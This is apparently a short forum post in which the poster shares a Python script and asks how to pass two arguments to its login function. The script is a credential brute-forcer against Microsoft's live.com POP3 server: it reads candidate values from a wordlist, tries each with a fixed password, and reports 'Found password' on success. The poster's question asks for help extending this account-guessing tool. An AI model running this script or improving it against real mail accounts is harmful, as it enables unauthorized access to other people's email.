Hello everybody
First, here's my code:
import poplib
def con(pwd):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_('!@#$%^')
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
for pwd in f.readlines():
con(pwd.replace("\r", "").replace("\n", ""))
I want have two argument in con definition, so it would be like con(pwd,cod) and M.pass_(cod), but it's doesn't work. How can I do this?